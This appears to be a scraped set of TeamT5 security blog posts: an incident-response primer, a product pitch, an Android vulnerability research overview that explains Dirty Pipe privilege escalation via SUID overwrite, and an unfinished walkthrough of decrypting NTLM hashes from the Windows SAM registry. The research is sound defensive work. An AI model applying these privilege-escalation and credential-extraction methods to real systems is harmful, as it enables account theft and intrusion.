## 如何應變資安事件？

除了處理已發生的事件，企業還需制定和演練應變計劃，以提高應對能力：

1. **風險評估**：定期進行風險評估，識別潛在威脅和弱點。

2. **應變計劃**：制定詳細的應變計劃，涵蓋事件發生前、中、後的所有步驟。

3. **員工培訓**：定期培訓員工，提高其安全意識和應對技能。

4. **模擬演練**：進行定期的應變演練，測試應變計劃的有效性，並根據演練結果進行改進。

5. **資訊共享**：參與行業間的資訊共享，及時獲得和交換威脅情資。

 

總結來說，資安事件不可避免，但規劃積極的預防措施和快速的應對，企業可以將風險降到最低，保護自己的數位資產和名聲。

在日益嚴峻的網路安全環境中，企業更可與外包的[資安事件應變處理服務團隊](https://teamt5.org/tw/service/ir/?utm_source=website&utm_medium=website)合作，成為企業保護自己免受資安事件危害的最佳助力。

 

>TeamT5 杜浦數位安全團隊長期研究與解析駭客族群入侵行為，具備第一線國內外資安事件應變與處理的豐富經驗。當資安事件發生，我們可快速完成受駭現場與歷史軌跡的綜整分析，發掘攻擊者的入侵過程與手法，提供事件處理的深入分析及建議，協助您復原與改善資安環境。 若您有資安事件處理、應變的需求，歡迎填寫[諮詢表單](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)。

資安事件是什麼？如何處理、應變？

In the digital era, cybersecurity incidents have become an important issue that companies cannot ignore. Cybersecurity incidents range from data leaks, system intrusions, to malware attacks. Each incident may have a serious impact on the normal operation and the reputation of an enterprise.

So, what is a security incident? How to effectively deal with and adapt to it?

## What is a cybersecurity incident?

A cybersecurity incident refers to any behavior or event that poses a threat to the cyber’s security. These events may lead to data leakage, service interruption, or system damage. Common security incidents include:

1. **Data Leakage**: Sensitive data (such as personal information, financial information) is obtained by unauthorized third parties.
2. **System Intrusion**: Hackers take advantage of vulnerabilities or use social engineering methods to gain control of the system.
3. **Malware attacks**: Such as viruses, worms, ransomware, etc. These software can damage the system or steal information.
4. **Distributed Denial of Service (DDoS)**: A large amount of traffic paralyzes the target system, making it unable to operate normally.

## How to respond to cybersecurity incidents?

In addition to dealing with incidents that have occurred, companies also need to develop and practice contingency plans to improve their response capabilities:

1. **Risk Assessment**: Conduct risk assessments regularly to identify potential threats and weaknesses.

2. **Contingency Plan**: Develop a detailed contingency plan covering all steps before, during, and after the incident.

3. **Employee training**: Regularly train employees to improve their awareness and responding skills.

4. **Simulation exercise**: Conduct regular drills to test the effectiveness of the contingency plan and implement changes based on the drill outcomes.

5. **Information Sharing**: Participate in information sharing among industries as well as obtain and exchange threat information in a timely manner.


In summary, cybersecurity incidents are inevitable, but by planning proactive preventive measures and rapid response, companies can minimize risks and protect their digital assets and reputation.

In an increasingly severe cybersecurity environment, enterprises can cooperate with outsourced cybersecurity incident response teams to effectively protect themselves from cybersecurity incidents.

 

>[Contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) for more information.

What is a cybersecurity incident? How to deal with it?

## Android 漏洞研究介紹

### Android 研究環境準備
進行 Android 漏洞研究的環境可分為模擬器(emulator)環境以及實體手機環境，模擬與實體手機上的研究還是存在差異性。如模擬環境中無法將硬體一同模擬，不同廠牌的手機也會有自己實作應用程式、保護機制等，因此在研究的選擇上主要會以實體手機為主。

選擇較好進行刷機 (rooting) 的手機做為研究設備能夠較快建立好研究環境，如 Google 、小米等。 Rooting 的目的在於能幫助研究人員能夠進行更加便利的使用，以及較能不受到 SELinux 安全機制的影響。 

### 高層級攻擊面 (High-level Attack surface)
Android APP 層面的攻擊面有非常多，包含受保護的組件 (protected component) 上的錯誤設定(misconfiguration)，導致 APP 能夠存取到任意系統檔案。或者 APP 開發者使用動態方式將系統路徑的函式庫進行載入，若該 APP 存在路徑遍歷 (path traversal) 相關漏洞的話，則能將該 APP 載入惡意的函式庫 (share object file) 達到持久性本地程式碼執行 (persistent local code execution) 或者遠端程式碼執行 (RCE, Remote Code Execution)。

- **Android 深度連結 (Deep link)** : Android 中的 Deep Link 是一種特殊的 URL，允許應用程式直接導到應用內的特定內容或頁面，而不僅是啟動應用程式的主畫面。在 Pwn2own 2022 有參賽者 利用 Samsung Galaxy Store 中的 Deeplink 漏洞達到程式碼執行，能夠安裝並開啟任意 APP。

- **動態程式碼載入 (Dynamic code loading)** : Android APP 也會使用 share object files，以 CVE-2021-40724 為例，該漏洞發生在 adobe PDF Reader APP 中，漏洞成因為 APP 允許使用者以 URL 形式將期望開啟的 PDF 路徑傳給 APP。然而在後續功能實作中並未對該路徑內容進行檢查，導致了 path traversal 的漏洞。攻擊者能夠透過該漏洞建立出任意檔案，PoC 為利用 path traversal 建立 APP 預設會載入的 share object file，其中 share object file 的內容為攻擊者所能控制，藉此達到 RCE。

- **受保護的組件 (Protected components)** : 在 Android 系統中 `intent` 是一個可序列化 (Parcelable) 的物件，然而開發者可能會不小心使用錯誤的呼叫方式，或者檢查不夠嚴謹，導致攻擊者能夠從使用第三方 app 來存取到目標 app 底下的相關資訊。
 

### 低層級攻擊面 (Low-level Attack surface)

- **Android kernel** : 由於 Android kernel 是基於 Linux kernel 開發的，因此若是在 Linux kernel 中存在的漏洞， Android 系統上也是有可能具有相關漏洞，如 Dirty-CoW , Dirty Pipe 等漏洞皆能夠在 Android 系統中重現，但由於 OS 環境上的差異性，會使得重現過程中需繞過如 SELinux 等問題。

- **Android kernel driver** : Android kernel driver 負責與硬體設備的溝通，若在其中存在漏洞也可能導致攻擊者能夠在目標手機上提權拿到 root。如 ARM 的 Mali GPU driver 目前已被發現存在多個漏洞。

- **Android TEE** : Android 系統中大多使用 TEE (Trust Execution Environment) 來保護裝置的安全性，不同手機廠牌會根據所使用的 CPU 晶片來決定使用哪個架構的 TEE，如 Samsung Exynos 使用的 TEE 環境為 TEEGRIS，而 Pixel4 XL 使用的為高通的 QSEE。 TEE 的攻擊面有 TEEOS 以及 TA (Trusted Applications) 等。

## 漏洞重現

我們針對 Android 系統環境中進行漏洞的移植及重現，幫助研究人員了解成因及系統架構上的差異性。在 2022 年的 HITCON 中，我們以成功移植 Dirty-Pipe (CVE-2022-0847) 的漏洞到 Android 12 Pixel6 的手機。

在該研究的最終目的是希望能夠在 Android 系統中使用 Dirty-Pipe 漏洞，並且能夠獲取繞過 SELinux 的 reverse root shell。

### Dirty-Pipe 漏洞介紹

當 Pipe 在進行操作時，會使用 zero copy，來降低資源的浪費。對 page 進行操作時會使用 page reference 進行操作。其中 `PIPE_BUF_FLAG_CAN_MERGE` flag 設上後會以當下的 page 進行寫入而不會重新 allocate 新的 page。

Dirty-Pipe 漏洞發生在 Pipe 操作時由於 `PIPE_BUF_FLAG_CAN_MERGE` 並未初始化而導致使用時不會重新分配新的 page 而是直接對拿到的 page 進行寫入，因此可以透過 splice system call 來獲取想要 overwrite 目標的 page ，再以 Dirty-Pipe 漏洞進行寫入，就能達到對 read-only 檔案有著趨近於任意寫的功能。


 
![pic_introduction-to-android-vulnerability-research.png](https://uploads.teamt5.org/upload/original/pic_introduction-to-android-vulnerability-research.png)
 

Dirty-Pipe 本身在任意寫上存在一些限制：
1. 對檔案必須要有 read 與 open 的權限
2. 每一次寫入只能寫 1 個 page 大小
3. page 的第 1 個 byte 無法進行寫入
4. None-regular file 是不能寫入

### Linux 系統中 Dirty-Pipe 漏洞提權方法
有著趨近於任意寫的功能下，能夠對任何能夠 open read 的檔案進行寫入，在 linux 系統中提權方法相較於 Android 系統中較為簡單與直接。


- 找出帶有 SUID 的程式作為目標，如 `/usr/bin/sudo`，將該程式的 Entry point 複寫為 Shellcode 的位置即可以 root 權限開啟 Shell 。

### Reference
- https://starlabs.sg/blog/2023/06-the-old-the-new-and-the-bypass-one-clickopen-redirect-to-own-samsung-s22-at-pwn2own-2022/
- https://hulkvision.github.io/blog/post1/
- https://dirtypipe.cm4all.com/

 
>TeamT5 杜浦數位安全專精網路威脅研究，提供端點偵測與回應(EDR)解決方案 - ThreatSonar，有效偵測，避免企業系統漏洞遭到有心人士濫用、遭遇資安攻擊。
>
>團隊具備超過10年的惡意程式與進階持續性威脅(APT)的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，協助美日臺大型企業有效保護商業機密文件，營運不受網路攻擊影響；更經常受邀參加世界級資安會議、發表研究成果。
>
>若您有資安防護的需求，歡迎填寫[諮詢表單](https://teamt5.org/tw/contact-us/?utm_source=blogs&utm_medium=website)

Android 漏洞研究介紹

##Introduction to Android Vulnerability Research
###Preparing the Android Research Environment
The environment for conducting Android vulnerability research can be categorized into emulator environments and physical device environments. There are notable differences between research conducted on emulators and physical devices. For instance, emulator environments cannot replicate hardware interactions, and different manufacturers implement their applications and protection mechanisms. Therefore, for research purposes, the primary focus will be on physical devices.

It is advisable to choose a physical phone that is more convenient for rooting, such as devices from Google or Xiaomi. Rooting is intended to provide researchers with more convenient usage and minimize the impact of the SELinux security mechanism.

###High-Level Attack Surface
The attack surface at the Android application level is extensive, including misconfigurations in protected components that allow the app to access arbitrary system files. Additionally, if app developers dynamically load libraries from system paths, with path traversal vulnerabilities, attackers can load malicious shared object files, enabling persistence in local devices or remote code execution (RCE).

- **Android Deep Linking**: In Android, a deep link is a specific type of URL that allows an application to navigate directly to specific content or pages. At Pwn2Own 2022, a participant exploited a deep link vulnerability in the Samsung Galaxy Store, achieving code execution that allowed for the installation and launch of any app.
- 
- **Dynamic Code Loading**: Android apps often utilize shared object files. For instance, CVE-2021-40724 was a vulnerability found in the Adobe PDF Reader app, where the app allowed users to provide the expected PDF path via a URL. However, the implementations did not validate the content of this path, resulting in a path traversal vulnerability. Attackers could exploit this flaw to create arbitrary files. A proof of concept (PoC) for this vulnerability demonstrated how to create a shared object file that the app would load by default, with content controlled by the attacker, thereby achieving RCE.

- **Protected Components**: In the Android system, an `intent` is a serializable (Parcelable) object. However, developers may inadvertently use incorrect calling methods or fail to conduct rigorous checks, resulting in attackers accessing sensitive information from the target app using third-party applications.


###Low-level Attack surface
- **Android Kernel**: Since the Android kernel is based on the Linux kernel, vulnerabilities present in the Linux kernel can also manifest in the Android system. For example, vulnerabilities such as Dirty COW and Dirty Pipe can be reproduced in Android. However, due to differences in the operating system environment, the reproduction process may need to navigate issues such as SELinux.

- **Android Kernel Driver**: The Android kernel driver is responsible for communication with hardware devices. If vulnerabilities exist within these drivers, attackers may be able to escalate privileges and gain root access to the target device. For instance, multiple vulnerabilities have been identified in the ARM Mali GPU driver.

- **Android TEE**: The Android system primarily utilizes the Trusted Execution Environment (TEE) to enhance device security. Different manufacturers determine which TEE architecture to implement based on the CPU chipset. For example, Samsung Exynos employs the TEEGRIS environment, while the Pixel 4 XL uses Qualcomm’s QSEE. The attack surface of the TEE includes TEEOS and Trusted Applications (TAs).

##Vulnerability reproduction
We reproduced vulnerabilities in the Android system environment to help researchers understand the causes and differences in system architecture. At HITCON 2022, we successfully ported the Dirty-Pipe (CVE-2022-0847) vulnerability to Android 12 Pixel6 phones.

The ultimate goal of this research is to use the Dirty-Pipe vulnerability in the Android system and bypass SELinux to gain the reverse root shell.


###Dirty-Pipe Vulnerability Introduction
When a pipe is in operation, it employs zero-copy techniques to minimize resource wastage. Page operations are conducted using page references. When the `PIPE_BUF_FLAG_CAN_MERGE` flag is set, data is written to the current page without reallocating a new page.

The Dirty-Pipe vulnerability occurs during pipe operations when the `PIPE_BUF_FLAG_CAN_MERGE` is not properly initialized. This oversight prevents the allocation of a new page, allowing data to be written directly to the acquired page. By utilizing the splice system call, an attacker can obtain the page to overwrite. Subsequently, by exploiting the Dirty-Pipe vulnerability, it can perform almost arbitrary writes to files.


 
![pic_introduction-to-android-vulnerability-research.png](https://uploads.teamt5.org/upload/original/pic_introduction-to-android-vulnerability-research.png)
 

Dirty-Pipe itself has some limitations on arbitrary writing:

1. The file must have read and open permissions
2. Each write operation can only write 1 page size
3. The first byte of the page cannot be written.
4. None-regular files cannot be written

###Privilege escalation in the Linux system
Using the vulnerability we can almost achieve arbitrary writing on read-only files, it can write to any file that can be open-read. The privilege escalation method in the Linux system is simpler than in the Android system.

- Find the program with SUID flag as the target, such as `/usr/bin/sudo`. Overwrite the entry point of the SUID binary to the address of the shellcode after that it will spawn the shell with root privileges.

 
####Reference
- https://starlabs.sg/blog/2023/06-the-old-the-new-and-the-bypass-one-clickopen-redirect-to-own-samsung-s22-at-pwn2own-2022/
- https://hulkvision.github.io/blog/post1/
- https://dirtypipe.cm4all.com/

 
>TeamT5 specializes in cyber threat research and provides an endpoint detection and response (EDR) solution - ThreatSonar, which effectively detects and prevents enterprise system vulnerabilities from being abused by malicious parties and encountering cybersecurity attacks.
>
>TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. TeamT5 is frequently invited to share insights at top cybersecurity conferences.
>
>For vulnerability research and endpoint protection inquiries, please contact us at [https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blogs&utm_medium=website)

Introduction to Android Vulnerability Research

Technical Analysis

穿梭於秘密通道：揭密那些深藏在 VPN 的漏洞

Businesses face increasingly complex and frequent online threats. This surge in cyber threats poses a significant challenge to network security personnel, who must navigate a constant stream of alerts and incidents. Without a clear understanding of these threats, companies risk making incorrect judgments that can lead to wasted resources and serious damages. Here’s how ThreatVision’s Indicators of Compromise (IoCs) can make a substantial difference.

 

##Overcoming Cyber Threats is Hard...
As business operations become more digitized, the complexity and prevalence of cyber threats grow. Network security teams often deal with frequent alerts that are difficult to fully understand without professional intervention. This ambiguity can lead to incorrect decisions, resource wastage, and significant damage from overlooked signs of intrusion. Outsourcing every incident investigation isn't sustainable due to high costs and fragmented vendor involvement.

 

##Let TeamT5’s ThreatVision IoCs Help You!
TeamT5, with years of experience studying hacker behavior in the Asia-Pacific region, has refined its expertise into precise Indicators of Compromise (IoCs). These IoCs are essential for effective cybersecurity operations, enabling businesses to identify and block intrusions.

![pic_making-the-most-of-threatvision-iocs.jpg](https://uploads.teamt5.org/upload/original/pic_making-the-most-of-threatvision-iocs.jpg)

 

##Key Features of ThreatVision IoCs
1. **High-precision APT IoCs**: These are derived from complex investigations and provide insights into specific adversaries and their methods, offering valuable intelligence to strengthen your cybersecurity posture.
2. **Broad-ranging Cybercrime IoCs**: Cover a wide array of cyber threats including infostealer, crypto miner, vulnerability weaknesses and more, ensuring comprehensive protection.
3. **API Integration**: Seamlessly integrates with various network defense devices and firewall applications, facilitating easy and automated deployment.
4. **Traceable Sources and CSV/STIX Format Support**: Ensures IoCs are easily deployable and verifiable.

 

##How ThreatVision IoCs Enhance Cybersecurity
###Accurate Alert Judgement
By importing ThreatVision IoCs into your network devices and software tools, you can establish robust monitoring across your environment. When an IoC is detected, it triggers an alarm, allowing cybersecurity personnel to swiftly block, isolate, and clear the threat. This proactive approach significantly reduces the risk and impact of cyber attacks.

###Comprehensive Threat Understanding
ThreatVision IoCs link to three rich data types within the platform:
- **Adversary Database**: Understand the background and motivation of adversaries to deploy defenses for specific digital assets in advance.
- **Malicious Program Database**: Gain technical details to select and deploy effective defense tools.
- **Threat Intelligence Reports**: Confirm your situation against recent threats and ensure your defenses are up-to-date.

###Proactive Defense Measures
Using ThreatVision IoCs, enterprises can:

- **Deploy IoCs Properly**: Ensure complete and consistent deployment using our API.
- **Respond to Alerts Immediately**: Block, quarantine, and remove malware to minimize damage.
- **Investigate Thoroughly**: Identify the source and purpose of the attack to better understand adversary tactics and tools.

 

##Benefits of ThreatVision IoCs
1. **Enhanced Alert Accuracy**: Make better-informed decisions based on precise IoCs.
2. **Proactive Threat Management**: Understand threats in-depth to take preemptive measures.
3.** Ease of Automation**: Simplify deployment and management through API integration.
4. **Rapid Deployment**: Utilize generic file formats like CSV and STIX for quick implementation.

 

##Summary
In the battle against cyber threats, understanding both your capabilities and the adversary's tactics is crucial. TeamT5’s ThreatVision platform, with its extensive database of adversaries, malware, and comprehensive threat intelligence reports, empowers enterprises to navigate the threat landscape effectively. By leveraging ThreatVision’s powerful features, businesses can enhance their cybersecurity posture and safeguard against evolving threats.

 
>Making the most of ThreatVision IoCs - [contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) !

Making the Most of ThreatVision IoCs

企業面臨著日益複雜且頻繁的網路威脅。隨著網路威脅的爆炸性增加，讓他們必須應對不斷湧入的警報和事件，對資訊安全人員構成了重大挑戰。若企業不夠清楚了解這些威脅，很可能會做出錯誤判斷，導致資源浪費和嚴重損害。 ThreatVision 的入侵指標（Indicators of Compromise, IoCs）如何在抵禦網路威脅中發揮重大作用呢？

 

##克服網路威脅的困難...
隨著企業營運越來越數位化，網路威脅的複雜性和普遍性也隨之增長。資訊安全團隊被迫處理頻繁的警報，缺少知識背景的情況下，這些警報往往難以完全理解。對於威脅的模糊認知可能導致錯誤決策、資源浪費，或甚至會因忽視入侵跡象，而造成的重大損害。加上外包調查事件的成本高昂、服務供應商參與的過程破碎化，使得外包調查策略也難以延續

 

##讓 TeamT5 的 ThreatVision IoCs 助您一臂之力！
TeamT5 多年來持續研究亞太地區駭客行為，將其專業知識精煉為精準的入侵指標（IoCs）。這些 IoCs 是有效網路安全營運的關鍵，使企業能夠精確識別並阻止入侵。

![pic_making-the-most-of-threatvision-iocs.jpg](https://uploads.teamt5.org/upload/original/pic_making-the-most-of-threatvision-iocs.jpg)

 

##ThreatVision IoCs 的主要特點
- **高精準度的 APT IoCs**：這些 IoCs 源自複雜且長年累月的調查，提供對特定威脅者及其方法的深入了解，為加強您的網路安全態勢提供寶貴的情報。
- **廣泛的網路犯罪 IoCs**：涵蓋 APT 入侵、勒索軟體攻擊、漏洞弱點等各種網路威脅，確保全面保護。
- **API 整合**：無縫整合各種網路防禦設備和防火牆應用，輕鬆自動化部署。
- **可追溯來源和支援 CSV/STIX 格式**：讓 IoCs 易於部署和驗證。

 

##ThreatVision IoCs 增強網路安全的方式
###準確的警報判斷 

透過將 ThreatVision IoCs 導入您的網路設備和軟體工具，就如同在整個環境中建立強大的監控系統。當檢測到 IoCs 時，會觸發警報，使資訊安全人員能夠迅速封鎖、隔離和清除威脅。這種主動防禦方式，能夠顯著減少網路攻擊的風險和影響。

 

###全面的威脅理解 

ThreatVision IoCs 連接到平台內三種類型的豐富數據：
- **威脅者資料庫**：了解威脅者的背景和動機，提前部署針對特定資產的防禦措施。
- **惡意軟體資料庫**：獲取惡意軟體技術詳情，以選擇和部署有效的防禦工具。
- **威脅情報報告**：確認您在當前威脅中的情況，能夠採取最有效且新穎的防禦措施。

 

###主動防禦措施 
使用 ThreatVision IoCs，企業可以：
- **正確部署 IoCs**：藉由使用 API，確保完整和一致的部署。
- **立即回應警報**：封鎖、隔離和移除惡意軟體，以將損害降至最低。
- **徹底調查**：識別攻擊的來源和目的，更充分地了解威脅者的戰術和工具。

 

## ThreatVision IoCs 的好處
- **提高警報準確性**：基於精確的 IoCs 做出更明智的決策。
- **主動威脅管理**：深入了解威脅，主動採取預防措施。
- **易於實現自動化**：透過 API 整合，簡化部署和管理。
- **快速部署**：利用 CSV 和 STIX 等通用文件格式快速完成部署。

 

##總結
在對抗網路威脅的過程中，了解自身的能力和威脅者的戰術至關重要。TeamT5 的 ThreatVision 平台，擁有廣泛的威脅者資料庫、惡意軟體和全面的威脅情資報告，使企業能夠有效地駕馭威脅情勢。透過利用 ThreatVision 的強大功能，企業可以增強其資訊安全策略，並保護資產免受不斷演變的威脅影響。

 
>立刻試用 ThreatVision 入侵指標，禦敵致勝
>
>[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

 ThreatVision 入侵指標（IoCs）  幫助您禦敵致勝

By Sharon 

 

不知道大家有沒有好奇過，像 mimikatz 和 impacket 這樣的工具是如何取出使用者的 NTLM 雜湊密碼 (NTLM Hash / NTHash)呢？若是想理解為什麼，我們就得深入從 windows registry 了解 SAM（安全帳戶管理器）結構。

首先，Windows 作業系統會將使用者的 NTLM 雜湊密碼 (NTHash) 透過 RC4 或是 AES「加密」演算後存放到 Registry 的 SAM 中，這當中會使用到包括其他 windows 的預設字串以及預設的加密演算法，如下所示:

> Windows 的 **預設字串**:
> - `!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%` 
> - `0123456789012345678901234567890123456789` 
> - `NTPASSWORD` 
> - `0x00` x 2 

 

> Windows 預設加密演算法:
> - DES → 用來當作第一層使用者密碼的混淆
> - MD5 → 用來製作鑰匙

![image](https://uploads.teamt5.org/upload/original/pic01_understanding-windows-registry-sam.png)
 

微軟為了增加密碼安全性，會把上述加密後的資訊分散存放到以下四個註冊值:
- User F : `\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\%RID%\F`

- User V : `\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\%RID%\V`

- Account F : `\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\F`

- System : `\HKEY_LOCAL_MACHINE\\System\CurrentControlSet\Control\Lsa`

 

![image](https://uploads.teamt5.org/upload/original/pic02_understanding-windows-registry-sam.png)
*<center>fig 1. User F / V</center>*

![image](https://uploads.teamt5.org/upload/original/pic03_understanding-windows-registry-sam.png)
*<center>fig 2. Domain Account F</center>*
 

接下來，我們將以「RC4 的加密方式」為例，一步一步剖析，如何透過擷取上述 Registry 個別的特定參數，說明解密的原理。

單元會依照此順序做介紹: 
1. User F 值
2. User V 值
3. Domain Account F 值
4. SYSTEM 結構
5. 整理以上取得的資訊
6. 梳理加解密過程

 
 
 
 
 

## 1.User F值
*(fixed length, 80)*

```
\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\%RID%\F
```

![image](https://uploads.teamt5.org/upload/original/pic04_understanding-windows-registry-sam.png)


在這三個結構裡，*User F 值* 應該是最直覺的。他的大小永遠固定為 0x00 到 0x4F，也就是 80 bytes 的大小。
那在解密的過程中，我們 *User F 值* 唯一需要用到的資訊是「UserId」的值。
這裡所標示的 UserId 相同於我們的「相對識別碼 (RID)」。

![image](https://uploads.teamt5.org/upload/original/pic05_understanding-windows-registry-sam.png)


RC4 加解密時會需要用到 RID 的值 (`F4 01 00 00`) 做為計算鑰匙的一部分。
DES 加解密時 RID 會被用來計算成 **K1** 與 **K2** 這兩把鑰匙。

 



>* **RC4_Encrypted** (最終結果會存入 ```User V[14]```) 
>= RC4( _DES_Encrypted_, MD5(_SYSKEY_+ **DWORD(RID)** +```"NTPASSWORD"```+```"\x00"```))

>* **DES_Encrypted** 
>= DES(NTHash, **k1**) + DES(NTHash, **k2**)



 

所以接下來，我們將從使用者 F 獲取的 RID ，跟著下面的步驟計算出我們 K1 和 K2 的值:

1. RID DWORD (4 位元組 / 4 bytes) 格式=`F4 01 00 00`。K1 和 K2 各是 7 位元組 (byte)，製作方式就是單純將 `F4 01 00 00` 依照順序先填滿 K1 再來接續填滿 K2。 
如下圖:

![image](https://uploads.teamt5.org/upload/original/pic06_understanding-windows-registry-sam.png)

所以我們現在的結果如下: 

> K1 = `F4 01 00 00 F4 01 00` 
> K2 = `00 F4 01 00 00 F4 01`

 

2. 把 K1 和 K2 先轉換成二位元 (`F4` = `1111010`)
![image](https://uploads.teamt5.org/upload/original/pic07_understanding-windows-registry-sam.png)

3. 把 K1 和 K2 從 7 位元組 (byte) 轉為 8 位元組，我們要先把所有位元組以連接在一起的方式列出來，然後在每 7 位元 (bit) 的分段開來後面 + 0，進行同位位元的計算。

 

**K1 同位元計算**

連接在一起呈現: `11110100000000010000000000000000111101000000000100000000`

每 7 位元 (bit) 分段後 "`+ 0`" :

- `1111010`+`0`=`F4`
- `0000000`+`0`=`00`
- `0100000`+`0`=`40`
- `0000000`+`0`=`00`
- `0000111`+`0`=`0E`
- `1010000`+`0`=`A0`
- `0000010`+`0`=`04`
- `0000000`+`0`=`00`

 

**K2 同位元計算**

連接在一起呈現: `00000000111101000000000100000000000000001111010000000001`
 
每 7 位元 (bit) 分段後 "`+ 0`" :
 
- `0000000`+`0`=`00`
- `0111101`+`0`=`7A`
- `0000000`+`0`=`00`
- `0010000`+`0`=`20`
- `0000000`+`0`=`00`
- `0000011`+`0`=`06`
- `1101000`+`0`=`D0`
- `0000001`+`0`=`02`

所以我們現在得到的結果如下: 
> - K1 = `F4 00 40 00 0E A0 04 00` 
> - K2 = `00 7A 00 20 00 06 D0 02` 

 

<hr style="height: 0.25px; margin-bottom: 15px; background-color: #dadada; margin-top: 50px ;">

### User F 的重點整理

User F 裡唯一取得的資訊為 RID。
此參數在 DES 會被用來運算成 K1 與 K2 的兩把鑰匙，也會被 RC4 作為製作密鑰運算中的一環。

> RID = `F4 01 00 00` 
> K1 = `F4 00 40 00 0E A0 04 00` 
> K2 = `00 7A 00 20 00 06 D0 02` 

 


User F 取出的值與加密過程的對應:

>1.**DES_Encrypted** 
>= DES(NTHash, **k1**)+DES(NTHash, **k2**)

>2.**SYSKEY** 
>= RC4(EncKey, MD5((Salt + ```"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"```+```"\x00"```+Bootkey+```"0123456789012345678901234567890123456789"```+````"\x00"```)) 

>3.**RC4_Encrypted** (最終結果會存入 `User V[14]`) 
>= RC4(**DES_Encrypted**, MD5(**SYSKEY**+**DWORD(RID)**+```"NTPASSWORD"```+`"\x00"`))

 
 
 
 
 

## 2.User V 值
*(varies in length, 80)*

```
\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\%RID%\V
```

![image](https://uploads.teamt5.org/upload/original/pic08_update_understanding-windows-registry-sam.png)


User V 的第一部分:「**SAMP_VARIABLE_LENGTH_ATTRIBUTE**」有固定大小為: 0xCC (0~0xCB), 也就是 204 bytes 的大小。

 

![image](https://uploads.teamt5.org/upload/original/pic09_understanding-windows-registry-sam.png)

它儲存了 *UserＶ 值* 中前 17 個陣列 (array) 的資訊摘要，包含自己。每個陣列長度為 12 位元組 `(4+4+4)*17=0xCC` ，而把這陣列切成 4 位元組的三等份，從左到右分別記載著「偏移量（Offset）」、「長度（Length）」以及「限定符（Qualifier）」，如下：

![image](https://uploads.teamt5.org/upload/original/pic10-1_understanding-windows-registry-sam.png)

- 資料的**起點**應計算為: `偏移量 + 0xCC` → 所以 `0xCC` 是資料的開頭
- 資料的**終點**則計算為: `偏移量 + 0xCC + 長度` → 而 `0x1C0` 是資料的結尾

 

如果想開發工具的話，理解此結構可以幫助我們辨別 *UserＶ 值* 內的資訊是否存在，若 Length 為 0 ，即為不存在。

那為了解密，我們需要取的是 *UserＶ 值* 中的第 13 (LMHash) 和第 14 (NTHash) 的陣列。請看下列圖例:

![image](https://uploads.teamt5.org/upload/original/pic10-2_understanding-windows-registry-sam.png)
 

**RC4 加密的 NTHash**

> (*開頭 "User V 值圖例" 的 NTHash (`SAMP_User_UNICODE_PWD`) 使用的第二層加密為 AES，而非 RC4。所以請參考此 NTHash 為準*)

![image](https://uploads.teamt5.org/upload/original/pic11_understanding-windows-registry-sam.png)

以上兩者都屬於加密使用者密碼的方式，而自從 Windows Vista 和 Windows Server 2008 之後，微軟預設就禁止了 LMHash。所以這篇文章會以 NTHash 來做解密的運算。

**SAMP_USER_UNICODE_PWD** (`User V[14]`) = `01 00 01 00 92 A7 A7 EC 28 9E 26 60 DD F4 8F 54 C9 2D 3F 87`

<hr style="height: 0.25px; margin-bottom: 15px; background-color: #dadada; margin-top: 50px ;">

###User V 的重點整理

User V 裡唯一取得的資訊是「最終加密版本的 **NTHash**」 (**User V[14]**) = `RC4(RC4(DES(NTHash)))`

> **User V[14]**
> = `SAMP_USER_UNICODE_PWD` 
> = `01 00 01 00 92 A7 A7 EC 28 9E 26 60 DD F4 8F 54 C9 2D 3F 87`

![image](https://uploads.teamt5.org/upload/original/pic12_understanding-windows-registry-sam.png)

 


>User V 取出的值與加密過程的對應: 
>1. **DES_Encrypted** 
>= DES(NTHash, **k1**) + DES(NTHash, **k2**) 
>2. **SYSKEY** 
>= RC4(EncKey, MD5((Salt+`"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"`+`"\x00"`+Bootkey+`"0123456789012345678901234567890123456789"`+`"\x00"`)) 
> 
>3. **RC4_Encrypted** (最終結果會存入 **User V[14]**) 
>= RC4(**DES_Encrypted**, MD5(**SYSKEY**+**DWORD(RID)**+`"NTPASSWORD"`+`"\x00"`)) 
 

 
 
 
 
 

## 3.Domain Account F 值(RC4 version)
*(fixed length, 336)*

```
\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\F 
```

![image](https://uploads.teamt5.org/upload/original/pic13_understanding-windows-registry-sam.png)

 

*Domain Account F 值* 的結構在加密方法上會有所不同，上面所呈現的是使用 RC4 加密的結構示意圖。
先前提到加密會使用 RC4 與 AES 兩種方式，區分方法是看「Version」的值，如圖:
![image](https://uploads.teamt5.org/upload/original/pic14_understanding-windows-registry-sam.png)

 

而加密結構上的不同也只出於 0x68 後的資訊(如下圖所示)。
了解兩者加密運算法的話，便能得知後面結構的不同僅來自加密過程會用到的數值不同而已 (RC4 的 `0x70`, `0x80`, `0x90` 接固定為 16 bytes)。

![image](https://uploads.teamt5.org/upload/original/pic15_understanding-windows-registry-sam.png)

<hr style="height: 0.25px; margin-bottom: 15px; background-color: #dadada; margin-top: 50px ;">

###Domain Account F 的重點整理

Domain Account F 裡取得的資訊為下:
* 加密方式: 0x10002 → RC4
* 加密/解密的**資訊**: 

> - Salt = **0x70**= ```6F D9 76 B6 45 84 57 CB 9D 12 33 47 23 11 AC 9F``` 
> - EncKey = **0x80** = ```2C E6 69 B6 BD FB A6 D0 F7 2F 42 9F 6F 1A F2 08``` 

 

>Domain Account F 取出的值與加密過程的對應: 
>1. *DES_Encrypted** 
>=DES(NTHash, **k1**) + DES(NTHash, **k2**) 
> 
>2. **SYSKEY** 
